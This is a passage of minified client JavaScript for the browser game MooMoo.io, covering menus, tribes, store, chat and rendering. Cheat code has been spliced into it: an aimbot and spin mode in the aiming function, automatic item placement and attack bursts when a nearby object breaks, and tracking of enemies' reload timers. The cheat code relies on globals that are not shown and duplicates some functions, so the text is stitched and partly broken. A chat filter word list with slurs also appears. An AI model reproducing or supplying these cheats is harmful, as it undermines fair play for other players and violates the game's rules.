alert("Error:\n" + e),
ft("disconnected")
}
))
}
var b, x = new g(o,s), S = Math.PI, T = 2 * S;
function I(e, t) {
b && localStorage.setItem(e, t)
}
function E(e) {
return b ? localStorage.getItem(e) : null
}
Math.lerpAngle = function(e, t, n) {
Math.abs(t - e) > S && (e > t ? t += T : e += T);
var i = t + (e - t) * n;
return i >= 0 && i <= T ? i : i % T
}
,
CanvasRenderingContext2D.prototype.roundRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.arcTo(e + n, t, e + n, t + i, r),
this.arcTo(e + n, t + i, e, t + i, r),
this.arcTo(e, t + i, e, t, r),
this.arcTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
CanvasRenderingContext2D.prototype.rigidLRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.lineTo(e + n, t, e + n, t + i, r),
this.lineTo(e + n, t + i, e, t + i, r),
this.arcTo(e, t + i, e, t, r),
this.arcTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
CanvasRenderingContext2D.prototype.rigidRRect = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
this.beginPath(),
this.moveTo(e + r, t),
this.arcTo(e + n, t, e + n, t + i, r),
this.arcTo(e + n, t + i, e, t + i, r),
this.lineTo(e, t + i, e, t, r),
this.lineTo(e, t, e + n, t, r),
this.closePath(),
this
}
,
"undefined" != typeof Storage && (b = !0),
E("consent") || (consentBlock.style.display = "block"),
window.checkTerms = function(e) {
e ? (consentBlock.style.display = "none",
I("consent", 1)) : $("#consentShake").effect("shake")
}
;
var M, A, P, B, C, O, R, j, _, U, D, L, F, z, H = E("moofoll"), V = 1, q =
Date.now(), Y = [], W = [], X = [], N = [], G = [], J = new p(d,G,W,Y,nt,l,o,s), K
= n(70), Q = n(71), Z = new K(Y,Q,W,l,null,o,s), ee = 1, te = 0, ne = 0, ie = 0, re
= {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, se = {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, ae = 0, oe = o.maxScreenWidth, ce = o.maxScreenHeight, le = !1, he =
(document.getElementById("ad-container"),
document.getElementById("mainMenu")), ue =
document.getElementById("enterGame"), fe = document.getElementById("promoImg"), de
= document.getElementById("partyButton"), pe =
document.getElementById("joinPartyButton"), ge =
document.getElementById("settingsButton"), me = ge.getElementsByTagName("span")[0],
ye = document.getElementById("allianceButton"), ke =
document.getElementById("storeButton"), ve = document.getElementById("chatButton"),
we = document.getElementById("gameCanvas"), be = we.getContext("2d"), xe =
document.getElementById("serverBrowser"), Se =
document.getElementById("nativeResolution"), Te =
document.getElementById("showPing"), Ie = (document.getElementById("playMusic"),
document.getElementById("pingDisplay")), Ee =
document.getElementById("shutdownDisplay"), Me =
document.getElementById("menuCardHolder"), Ae =
document.getElementById("guideCard"), Pe = document.getElementById("loadingText"),
Be = document.getElementById("gameUI"), Ce = document.getElementById("actionBar"),
Oe = document.getElementById("scoreDisplay"), Re =
document.getElementById("foodDisplay"), je =
document.getElementById("woodDisplay"), _e =
document.getElementById("stoneDisplay"), Ue =
document.getElementById("killCounter"), De =
document.getElementById("leaderboardData"), Le =
document.getElementById("nameInput"), Fe =
document.getElementById("itemInfoHolder"), ze = document.getElementById("ageText"),
He = document.getElementById("ageBarBody"), Ve =
document.getElementById("upgradeHolder"), qe =
document.getElementById("upgradeCounter"), Ye =
document.getElementById("allianceMenu"), We =
document.getElementById("allianceHolder"), Xe =
document.getElementById("allianceManager"), Ne =
document.getElementById("mapDisplay"), Ge = document.getElementById("diedText"), Je
= document.getElementById("skinColorHolder"), Ke = Ne.getContext("2d");
Ne.width = 300,
Ne.height = 300;
var Qe = document.getElementById("storeMenu")
, $e = document.getElementById("storeHolder")
, Ze = document.getElementById("noticationDisplay")
, et = f.hats
, tt = f.accessories
, nt = new h(c,N,s,o)
, it = "#525252"
, rt = "#3d3f42";
function st(e) {
X = e.teams
}
var at = document.getElementById("featuredYoutube")
, ot = [{
name: "Trpaslik CZ",
link: "https://www.youtube.com/channel/UCDVGB3CBINJhtZO1XcstEjQ"
}]
, ct = ot[s.randInt(0, ot.length - 1)];
at.innerHTML = "<a target='_blank' class='ytLink' href='" + ct.link + "'><i
class='material-icons' style='vertical-align: top;'>&#xE064;</i> " + ct.name +
"</a>";
var lt = !0
, ht = !1
, ut = !1;
function ft(e) {
r.close(),
dt(e)
}
function dt(e) {
he.style.display = "block",
Be.style.display = "none",
Me.style.display = "none",
Ge.style.display = "none",
Pe.style.display = "block",
Pe.innerHTML = e + "<a
href='javascript:window.location.href=window.location.href'
class='ytLink'>reload</a>"
}
window.onblur = function() {
lt = !1
}
,
window.onfocus = function() {
lt = !0,
R && R.alive && yn()
}
,
window.onload = function() {
ht = !0,
v(),
setTimeout((function() {
k || (alert("Captcha failed to load"),
window.location.reload())
}
), 2e4)
}
,
window.captchaCallback = function() {
ut = !0,
v()
}
,
we.oncontextmenu = function() {
return !1
}
;
function pt() {
var e, t, n = "", i = 0;
for (var r in y.servers) {
for (var s = y.servers[r], a = 0, c = 0; c < s.length; c++)
for (var l = 0; l < s[c].games.length; l++)
a += s[c].games[l].playerCount;
i += a;
var h = y.regionInfo[r].name;
n += "<option disabled>" + h + " - " + a + " players</option>";
for (var u = 0; u < s.length; u++)
for (var f = s[u], d = 0; d < f.games.length; d++) {
var p = f.games[d]
, g = 1 * f.index + d + 1
, m = y.server && y.server.region === f.region &&
y.server.index === f.index && y.gameIndex == d
, k = h + " " + g + " [" + Math.min(p.playerCount,
o.maxPlayers) + "/" + o.maxPlayers + "]";
let e = y.stripRegion(r) + ":" + u + ":" + d;
m && (de.getElementsByTagName("span")[0].innerText = e),
n += "<option value='" + e + "' " + (m ? "selected" : "") + ">"
+ k + "</option>"
}
n += "<option disabled></option>"
}
n += "<option disabled>All Servers - " + i + " players</option>",
xe.innerHTML = n,
"sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo",
t = "//moomoo.io/") : (e = "Try the sandbox",
t = "//sandbox.moomoo.io/"),
document.getElementById("altServer").innerHTML = "<a href='" + t + "'>" + e
+ "<i class='material-icons' style='font-size:10px;vertical-
align:middle'>arrow_forward_ios</i></a>"
}
function Zt(e) {
M = e,
V = e && window.devicePixelRatio || 1,
Se.checked = e,
I("native_resolution", e.toString()),
un()
}
function en() {
for (var e = "", t = 0; t < o.skinColors.length; ++t)
e += t == ae ? "<div class='skinColorItem activeSkin'
style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t +
")'></div>" : "<div class='skinColorItem' style='background-color:" +
o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
Je.innerHTML = e
}
function gt() {
var e = new XMLHttpRequest;
e.onreadystatechange = function() {
4 == this.readyState && (200 == this.status ? (window.vultr =
JSON.parse(this.responseText),
y.processServers(vultr.servers),
pt()) : console.error("Failed to load server data with status code:",
this.status))
}
,
e.open("GET", "/serverData", !0),
e.send()
}
xe.addEventListener("change", s.checkTrusted((function() {
let e = xe.value.split(":");
y.switchServer(e[0], e[1], e[2])
}
)));
var mt = document.getElementById("pre-content-container")
, yt = null
, kt = null;
window.cpmstarAPI((function(e) {
e.game.setTarget(mt),
kt = e
}
));
var vt = 3e5
, wt = 0
, bt = 0;
function xt() {
if (!cpmstarAPI || !kt)
return console.log("Failed to load video ad API", !!cpmstarAPI, !!kt),
void Tn();
(yt = new
kt.game.RewardedVideoView("rewardedvideo")).addEventListener("ad_closed",
(function(e) {
console.log("Video ad closed"),
St()
}
)),
yt.addEventListener("loaded", (function(e) {
console.log("Video ad loaded"),
yt.show()
}
)),
yt.addEventListener("load_failed", (function(e) {
console.log("Video ad load failed", e),
St()
}
)),
yt.load(),
mt.style.display = "block"
}
function St() {
mt.style.display = "none",
Tn()
}
function Tt(e, t, n) {
if (R && e)
if (s.removeAllChildren(Fe),
Fe.classList.add("visible"),
s.generateElement({
id: "itemInfoName",
text: s.capitalizeFirst(e.name),
parent: Fe
}),
s.generateElement({
id: "itemInfoDesc",
text: e.desc,
parent: Fe
}),
n)
;
else if (t)
s.generateElement({
class: "itemInfoReq",
text: e.type ? "secondary" : "primary",
parent: Fe
});
else {
for (var i = 0; i < e.req.length; i += 2)
s.generateElement({
class: "itemInfoReq",
html: e.req[i] + "<span class='itemInfoReqVal'> x" +
e.req[i + 1] + "</span>",
parent: Fe
});
e.group.limit && s.generateElement({
class: "itemInfoLmt",
text: (R.itemCounts[e.group.id] || 0) + "/" + e.group.limit,
parent: Fe
})
}
else
Fe.classList.remove("visible")
}
window.showPreAd = xt;
var It, Et, Mt, At = [], Pt = [];
function Bt(e, t) {
At.push({
sid: e,
name: t
}),
Ct()
}
function Ct() {
if (At[0]) {
var e = At[0];
s.removeAllChildren(Ze),
Ze.style.display = "block",
s.generateElement({
class: "notificationText",
text: e.name,
parent: Ze
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#cc5151;'>&#xE14C;</i>",
parent: Ze,
onclick: function() {
Dt(0)
},
hookTouch: !0
}),
s.generateElement({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#8ecc51;'>&#xE876;</i>",
parent: Ze,
onclick: function() {
Dt(1)
},
hookTouch: !0
})
} else
Ze.style.display = "none"
}
function Ot(e) {
X.push(e),
"block" == Ye.style.display && Ut()
}
function Rt(e, t) {
R && (R.team = e,
R.isOwner = t,
"block" == Ye.style.display && Ut())
}
function jt(e) {
Pt = e,
"block" == Ye.style.display && Ut()
}
function _t(e) {
for (var t = X.length - 1; t >= 0; t--)
X[t].sid == e && X.splice(t, 1);
"block" == Ye.style.display && Ut()
}
function Ut() {
if (R && R.alive) {
if (an(),
Qe.style.display = "none",
Ye.style.display = "block",
s.removeAllChildren(We),
R.team)
for (var e = 0; e < Pt.length; e += 2)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (Pt[e] == R.sid ? "#fff" :
"rgba(255,255,255,0.6)"),
text: Pt[e + 1],
parent: We
});
R.isOwner && Pt[e] != R.sid && s.generateElement({
class: "joinAlBtn",
text: "Kick",
onclick: function() {
Lt(Pt[e])
},
hookTouch: !0,
parent: t
})
}(e);
else if (X.length)
for (e = 0; e < X.length; ++e)
!function(e) {
var t = s.generateElement({
class: "allianceItem",
style: "color:" + (X[e].sid == R.team ? "#fff" :
"rgba(255,255,255,0.6)"),
text: X[e].sid,
parent: We
});
s.generateElement({
class: "joinAlBtn",
text: "Join",
onclick: function() {
Ft(e)
},
hookTouch: !0,
parent: t
})
}(e);
else
s.generateElement({
class: "allianceItem",
text: "No Tribes Yet",
parent: We
});
s.removeAllChildren(Xe),
R.team ? s.generateElement({
class: "allianceButtonM",
style: "width: 360px",
text: R.isOwner ? "Delete Tribe" : "Leave Tribe",
onclick: function() {
Ht()
},
hookTouch: !0,
parent: Xe
}) : (s.generateElement({
tag: "input",
type: "text",
id: "allianceInput",
maxLength: 7,
placeholder: "unique name",
ontouchstart: function(e) {
e.preventDefault();
var t = prompt("unique name", e.currentTarget.value);
e.currentTarget.value = t.slice(0, 7)
},
parent: Xe
}),
s.generateElement({
tag: "div",
class: "allianceButtonM",
style: "width: 140px;",
text: "Create",
onclick: function() {
zt()
},
hookTouch: !0,
parent: Xe
}))
}
}
function Dt(e) {
r.send("11", At[0].sid, e),
At.splice(0, 1),
Ct()
}
function Lt(e) {
r.send("12", e)
}
function Ft(e) {
r.send("10", X[e].sid)
}
function zt() {
r.send("8", document.getElementById("allianceInput").value)
}
function Ht() {
At = [],
Ct(),
r.send("9")
}
var Vt, qt = [];
function Yt(e, t) {
for (var n = 0; n < qt.length; ++n)
if (!qt[n].active) {
Vt = qt[n];
break
}
Vt || (Vt = new function() {
this.init = function(e, t) {
this.scale = 0,
this.x = e,
this.y = t,
this.active = !0
}
,
this.update = function(e, t) {
this.active && (this.scale += .05 * t,
this.scale >= o.mapPingScale ? this.active = !1 : (e.globalAlpha =
1 - Math.max(0, this.scale / o.mapPingScale),
e.beginPath(),
e.arc(this.x / o.mapScale * Ne.width, this.y / o.mapScale *
Ne.width, this.scale, 0, 2 * Math.PI),
e.stroke()))
}
}
,
qt.push(Vt)),
Vt.init(e, t)
}
function Wt(e) {
Et = e
}
var Xt = 0;
function Nt(e, t, n) {
n ? e ? R.tailIndex = t : R.tails[t] = 1 : e ? R.skinIndex = t : R.skins[t]
= 1,
"block" == Qe.style.display && Gt()
}
function Gt() {
if (R) {
s.removeAllChildren($e);
for (var e = Xt, t = e ? tt : et, n = 0; n < t.length; ++n)
t[n].dontSell || function(n) {
var i = s.generateElement({
id: "storeDisplay" + n,
class: "storeItem",
onmouseout: function() {
Tt()
},
onmouseover: function() {
Tt(t[n], !1, !0)
},
parent: $e
});
s.hookTouchEvents(i, !0),
s.generateElement({
tag: "img",
class: "hatPreview",
src: "../img/" + (e ? "accessories/access_" : "hats/hat_")
+ t[n].id + (t[n].topSprite ? "_p" : "") + ".png",
parent: i
}),
s.generateElement({
tag: "span",
text: t[n].name,
parent: i
}),
(e ? R.tails[t[n].id] : R.skins[t[n].id]) ? (e ? R.tailIndex :
R.skinIndex) == t[n].id ? s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Unequip",
onclick: function() {
Jt(0, e)
},
hookTouch: !0,
parent: i
}) : s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Equip",
onclick: function() {
Jt(t[n].id, e)
},
hookTouch: !0,
parent: i
}) : (s.generateElement({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Buy",
onclick: function() {
Kt(t[n].id, e)
},
hookTouch: !0,
parent: i
}),
s.generateElement({
tag: "span",
class: "itemPrice",
text: t[n].price,
parent: i
}))
}(n)
}
}
function Jt(e, t) {
r.send("13c", 0, e, t)
}
function Kt(e, t) {
r.send("13c", 1, e, t)
}
function Qt() {
Qe.style.display = "none",
Ye.style.display = "none",
an()
}
function $t(e, t) {
e && (t ? R.weapons = e : R.items = e);
for (var n = 0; n < l.list.length; ++n) {
var i = l.weapons.length + n;
document.getElementById("actionBarItem" + i).style.display =
R.items.indexOf(l.list[n].id) >= 0 ? "inline-block" : "none"
}
for (n = 0; n < l.weapons.length; ++n)
document.getElementById("actionBarItem" + n).style.display =
R.weapons[l.weapons[n].type] == l.weapons[n].id ? "inline-block" : "none"
}
function Zt(e) {
M = e,
V = e && window.devicePixelRatio || 1,
Se.checked = e,
I("native_resolution", e.toString()),
un()
}
function en() {
for (var e = "", t = 0; t < o.skinColors.length; ++t)
e += t == ae ? "<div class='skinColorItem activeSkin'
style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t +
")'></div>" : "<div class='skinColorItem' style='background-color:" +
o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
Je.innerHTML = e
}
var tn = document.getElementById("chatBox")
, nn = document.getElementById("chatHolder");
function rn() {
on ? setTimeout((function() {
var e = prompt("chat message");
e && sn(e)
}
), 1) : "block" == nn.style.display ? (tn.value && sn(tn.value),
an()) : (Qe.style.display = "none",
Ye.style.display = "none",
nn.style.display = "block",
tn.focus(),
yn()),
tn.value = ""
}
function sn(e) {
r.send("ch", e.slice(0, 30))
}
function an() {
tn.value = "",
nn.style.display = "none"
}
var on, cn, ln = ["cunt", "whore", "fuck", "shit", "faggot", "nigger", "nigga",
"dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis", "clit",
"pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn", "bitch",
"dick", "fag", "bastard"];
function hn(e, t) {
var n = Ii(e);
n && (n.chatMessage = function(e) {
for (var t, n = 0; n < ln.length; ++n)
if (e.indexOf(ln[n]) > -1) {
t = "";
for (var i = 0; i < ln[n].length; ++i)
t += t.length ? "o" : "M";
var r = new RegExp(ln[n],"g");
e = e.replace(r, t)
}
return e
}(t),
n.chatCountdown = o.chatCountdown)
}
function un() {
F = window.innerWidth,
z = window.innerHeight;
var e = Math.max(F / oe, z / ce) * V;
we.width = F * V,
we.height = z * V,
we.style.width = F + "px",
we.style.height = z + "px",
be.setTransform(e, 0, 0, e, (F * V - oe * e) / 2, (z * V - ce * e) / 2)
}
function fn(e) {
(on = e) ? Ae.classList.add("touch") : Ae.classList.remove("touch")
}
function dn(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.id = -1,
bn()) : n.identifier == se.id && (se.id = -1,
R.buildIndex >= 0 && (O = 1,
vn()),
O = 0,
vn())
}
}
function pn() {
if(Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) < 50 && autoaim == false && ab == true && lmao == false && hit ==
false){
return trap_a
}else if(test == false && Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) +
Math.pow ((myPlayer.x - TrapCoord.x), 2)) < 50 && autoaim == true && ab == true &&
lmao == false && hit == false){
return nearestEnemyAngle
}else if(test == false && Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) +
Math.pow ((myPlayer.x - TrapCoord.x), 2)) > 50 && autoaim == true && ab == false){
return nearestEnemyAngle
}else if(test == true && hit == false && lmao == false &&
Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) > 50) {
return spin
}else if(test == true && hit == false && lmao == false &&
Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) < 50 && ab == false) {
return spin
}else if(test == false && autoaim == true){
return nearestEnemyAngle
}else{
return R ? (-1 != se.id ? cn = Math.atan2(se.currentY - se.startY, se.currentX -
se.startX) : R.lockDir || on || (cn = Math.atan2(ie - z / 2, ne - F /
2)),s.fixTo(cn || 0, 2)) : 0
}
}
window.addEventListener("resize", s.checkTrusted(un)),
un(),
fn(!1),
window.setUsingTouch = fn,
we.addEventListener("touchmove", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.identifier == re.id ? (re.currentX = n.pageX,
re.currentY = n.pageY,
bn()) : n.identifier == se.id && (se.currentX = n.pageX,
se.currentY = n.pageY,
O = 1)
}
}
)), !1),
we.addEventListener("touchstart", s.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var n = e.changedTouches[t];
n.pageX < document.body.scrollWidth / 2 && -1 == re.id ? (re.id =
n.identifier,
re.startX = re.currentX = n.pageX,
re.startY = re.currentY = n.pageY,
bn()) : n.pageX > document.body.scrollWidth / 2 && -1 == se.id &&
(se.id = n.identifier,
se.startX = se.currentX = n.pageX,
se.startY = se.currentY = n.pageY,
R.buildIndex < 0 && (O = 1,
vn()))
}
}
)), !1),
we.addEventListener("touchend", s.checkTrusted(dn), !1),
we.addEventListener("touchcancel", s.checkTrusted(dn), !1),
we.addEventListener("touchleave", s.checkTrusted(dn), !1),
we.addEventListener("mousemove", (function(e) {
e.preventDefault(),
e.stopPropagation(),
fn(!1),
ne = e.clientX,
ie = e.clientY
}
), !1),
we.addEventListener("mousedown", (function(e) {
fn(!1),
1 != O && (O = 1,
vn())
}
), !1),
we.addEventListener("mouseup", (function(e) {
fn(!1),
0 != O && (O = 0,
vn())
}
), !1);
var gn = {}
, mn = {
87: [0, -1],
38: [0, -1],
83: [0, 1],
40: [0, 1],
65: [-1, 0],
37: [-1, 0],
68: [1, 0],
39: [1, 0]
};
function yn() {
gn = {},
r.send("rmd")
}
function kn() {
return "block" != Ye.style.display && "block" != nn.style.display
}
function vn() {
R && R.alive && r.send("c", O, R.buildIndex >= 0 ? pn() : null)
}
window.addEventListener("keydown", s.checkTrusted((function(e) {
var t = e.which || e.keyCode || 0;
27 == t ? Qt() : R && R.alive && kn() && (gn[t] || (gn[t] = 1,
69 == t ? r.send("7", 1) : 67 == t ? (Mt || (Mt = {}),
Mt.x = R.x,
Mt.y = R.y) : 88 == t ? (R.lockDir = R.lockDir ? 0 : 1,
r.send("7", 0)) : null != R.weapons[t - 49] ? Sn(R.weapons[t - 49], !0) :
null != R.items[t - 49 - R.weapons.length] ? Sn(R.items[t - 49 - R.weapons.length])
: 81 == t ? Sn(R.items[0]) : 82 == t ? xn() : mn[t] ? bn() : 32 == t && (O = 1,
vn())))
}
))),
window.addEventListener("keyup", s.checkTrusted((function(e) {
if (R && R.alive) {
var t = e.which || e.keyCode || 0;
13 == t ? rn() : kn() && gn[t] && (gn[t] = 0,
mn[t] ? bn() : 32 == t && (O = 0,
vn()))
}
}
)));
var wn = void 0;
function bn() {
var e = function() {
var e = 0
, t = 0;
if (-1 != re.id)
e += re.currentX - re.startX,
t += re.currentY - re.startY;
else
for (var n in mn) {
var i = mn[n];
e += !!gn[n] * i[0],
t += !!gn[n] * i[1]
}
return 0 == e && 0 == t ? void 0 : s.fixTo(Math.atan2(t, e), 2)
}();
(null == wn || null == e || Math.abs(e - wn) > .3) && (r.send("33", e),
wn = e)
}
function xn() {
r.send("14", 1)
}
function Sn(e, t) {
r.send("5", e, t)
}
function Tn() {
I("moo_name", Le.value),
!le && r.connected && (le = !0,
x.stop("menu"),
dt("Loading..."),
r.send("sp", {
name: Le.value,
moofoll: H,
skin: ae
}))
}
var In = !0;
function En(e) {
Pe.style.display = "none",
Me.style.display = "block",
he.style.display = "none",
gn = {},
j = e,
O = 0,
le = !0,
In && (In = !1,
N.length = 0)
}
function Mn(e, t, n, i) {
m.showText(e, t, 50, .18, 2000, Math.abs(n), n >= 0 ? "#fff" : "#8ecc51")
}
var An = 99999;
function Pn() {
le = !1;
try {
factorem.refreshAds([2], !0)
} catch (e) {}
Be.style.display = "none",
Qt(),
It = {
x: R.x,
y: R.y
},
Pe.style.display = "none",
Ge.style.display = "block",
Ge.style.fontSize = "0px",
An = 0,
setTimeout((function() {
Me.style.display = "block",
he.style.display = "block",
Ge.style.display = "none"
}
), o.deathFadeout),
gt()
}
function Bn(e) {
R && nt.removeAllItems(e)
}
function Cn(e) {
for(let i = 0; i < N.length; i++){
if(N[i].sid == e){
if((R.x2-N[i].x)**2+(R.y2-N[i].y)**2 < 1.21e4 && nEy.length){
if(fgd(nEy, R) < 200){
for(let i = 0;i < 24; i++){
let a = i*4*(i%2?-1:1)/180*Math.PI+nEA;
Sn(R.items[2]),r.send("c", 1, a),r.send("c", 0,
a),Sn(oW, 1)
}
r.send("2", pn());
}else{
for(let i = 0;i < Math.PI*2;i += Math.PI/12){
Sn(R.items[4]),r.send("c", 1, i),r.send("c", 0,
i),Sn(oW, 1)
}
r.send("2", pn());
}
}
nt.disableObj(N[i]);
break;
}
}
//nt.disableBySid(e)
}
function On() {
Oe.innerText = R.points,
Re.innerText = R.food,
je.innerText = R.wood,
_e.innerText = R.stone,
Ue.innerText = R.kills
}
var Rn = {}
, jn = ["crown", "skull"]
, _n = [];
function Un(e, t) {
if (R.upgradePoints = e,
R.upgrAge = t,
e > 0) {
_n.length = 0,
s.removeAllChildren(Ve);
for (var n = 0; n < l.weapons.length; ++n)
l.weapons[n].age == t && (null == l.weapons[n].pre ||
R.weapons.indexOf(l.weapons[n].pre) >= 0) && (s.generateElement({
id: "upgradeItem" + n,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage = document.getElementById("actionBarItem"
+ n).style.backgroundImage,
_n.push(n));
for (n = 0; n < l.list.length; ++n)
if (l.list[n].age == t && (null == l.list[n].pre ||
R.items.indexOf(l.list[n].pre) >= 0)) {
var i = l.weapons.length + n;
s.generateElement({
id: "upgradeItem" + i,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).style.backgroundImage =
document.getElementById("actionBarItem" + i).style.backgroundImage,
_n.push(i)
}
for (n = 0; n < _n.length; n++)
!function(e) {
var t = document.getElementById("upgradeItem" + e);
t.onmouseover = function() {
l.weapons[e] ? Tt(l.weapons[e], !0) : Tt(l.list[e -
l.weapons.length])
}
,
t.onclick = s.checkTrusted((function() {
r.send("6", e)
}
)),
s.hookTouchEvents(t)
}(_n[n]);
_n.length ? (Ve.style.display = "block",
qe.style.display = "block",
qe.innerHTML = "SELECT ITEMS (" + e + ")") : (Ve.style.display =
"none",
qe.style.display = "none",
Tt())
} else
Ve.style.display = "none",
qe.style.display = "none",
Tt()
}
function Dn(e, t, n) {
null != e && (R.XP = e),
null != t && (R.maxXP = t),
null != n && (R.age = n),
n == o.maxAge ? (ze.innerHTML = "MAX AGE",
He.style.width = "100%") : (ze.innerHTML = "AGE " + R.age,
He.style.width = R.XP / R.maxXP * 100 + "%")
}
function Ln(e) {
s.removeAllChildren(De);
for (var t = 1, n = 0; n < e.length; n += 3)
!function(n) {
s.generateElement({
class: "leaderHolder",
parent: De,
children: [s.generateElement({
class: "leaderboardItem",
style: "color:" + (e[n] == j ? "#FF0000" :
"rgba(255,255,255,0.6)"),
text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
}), s.generateElement({
class: "leaderScore",
text: s.kFormat(e[n + 2]) || "0"
})]
})
}(n),
t++
}
function Fn(e, t, n, i) {
be.save(),
be.setTransform(1, 0, 0, 1, 0, 0),
be.scale(V, V);
var r = 50;
be.beginPath(),
be.arc(e, t, r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "rgba(255, 255, 255, 0.3)",
be.fill(),
r = 50;
var s = n - e
, a = i - t
, o = Math.sqrt(Math.pow(s, 2) + Math.pow(a, 2))
, c = o > r ? o / r : 1;
s /= c,
a /= c,
be.beginPath(),
be.arc(e + s, t + a, .5 * r, 0, 2 * Math.PI, !1),
be.closePath(),
be.fillStyle = "white",
be.fill(),
be.restore()
}
function zn(e, t, n) {
for (var i = 0; i < G.length; ++i)
(_ = G[i]).active && _.layer == e && (_.update(P),
_.active && ki(_.x - t, _.y - n, _.scale) && (be.save(),
be.translate(_.x - t, _.y - n),
be.rotate(_.dir),
Vn(0, 0, _, be, 1),
be.restore()))
}
var Hn = {};
function Vn(e, t, n, i, r) {
if (n.src) {
var s = l.projectiles[n.indx].src
, a = Hn[s];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + s + ".png",
Hn[s] = a),
a.isLoaded && i.drawImage(a, e - n.scale / 2, t - n.scale / 2, n.scale,
n.scale)
} else
1 == n.indx && (i.fillStyle = "#939393",
si(e, t, n.scale, i))
}
function qn(e, t, n, i) {
var r = o.riverWidth + i
, s = o.mapScale / 2 - t - r / 2;
s < ce && s + r > 0 && n.fillRect(0, s, oe, r)
}
function Yn(e, t, n) {
for (var i, r, s, a = 0; a < N.length; ++a)
(_ = N[a]).active && (r = _.x + _.xWiggle - t,
s = _.y + _.yWiggle - n,
0 == e && _.update(P),
_.layer == e && ki(r, s, _.scale + (_.blocker || 0)) && (be.globalAlpha
= _.hideFromEnemy ? .6 : 1,
_.isItem ? (i = ri(_),
be.save(),
be.translate(r, s),
(_.dir > 1e300 || _.dir < -1e300 ? (be.globalAlpha = 1,
be.rotate(Math.atan2(Math.sin(_.dir), Math.cos(_.dir)))) : be.rotate(_.dir)),
be.drawImage(i, -i.width / 2, -i.height / 2),
_.blocker && (be.strokeStyle = "#db6e6e",
be.globalAlpha = .3,
be.lineWidth = 6,
si(0, 0, _.blocker, be, !1, !0)),
be.restore()) : (i = ni(_),
be.drawImage(i, r - i.width / 2, s - i.height / 2))))
}
function Wn(e, t, n) {
(_ = Ii(e)) && (_.startAnim(t, n), n == 10 || n == 14 ?
setTimeout(()=>{secondaryReload[e] = 0})
:setTimeout(()=>{primaryReload[e] = 0}))
}
function Xn(e, t, n) {
be.globalAlpha = 1;
for (var i = 0; i < W.length; ++i)
(_ = W[i]).zIndex == n && (_.animate(P),
_.visible && (_.skinRot += .002 * P,
L = (_ == R ? pn() : _.dir) + _.dirPlus,
be.save(),
be.translate(_.x - e, _.y - t),
be.rotate(L),
Nn(_, be),
be.restore()))
}
function Nn(e, t) {
(t = t || be).lineWidth = 5.5,
t.lineJoin = "miter";
var n = Math.PI / 4 * (l.weapons[e.weaponIndex].armS || 1)
, i = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndS || 1
, r = e.buildIndex < 0 && l.weapons[e.weaponIndex].hndD || 1;
if (e.tailIndex > 0 && function(e, t, n) {
if (!(Gn = Qn[e])) {
var i = new Image;
i.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
i.src = ".././img/accessories/access_" + e + ".png",
Qn[e] = i,
Gn = i
}
var r = $n[e];
if (!r) {
for (var s = 0; s < tt.length; ++s)
if (tt[s].id == e) {
r = tt[s];
break
}
$n[e] = r
}
Gn.isLoaded && (t.save(),
t.translate(-20 - (r.xOff || 0), 0),
r.spin && t.rotate(n.skinRot),
t.drawImage(Gn, -r.scale / 2, -r.scale / 2, r.scale, r.scale),
t.restore())
}(e.tailIndex, t, e),
e.buildIndex < 0 && !l.weapons[e.weaponIndex].aboveHand &&
(ei(l.weapons[e.weaponIndex], o.weaponVariants[e.weaponVariant].src, e.scale, 0,
t),
null == l.weapons[e.weaponIndex].projectile ||
l.weapons[e.weaponIndex].hideProjectile || Vn(e.scale, 0,
l.projectiles[l.weapons[e.weaponIndex].projectile], be)),
t.fillStyle = o.skinColors[e.skinColor],
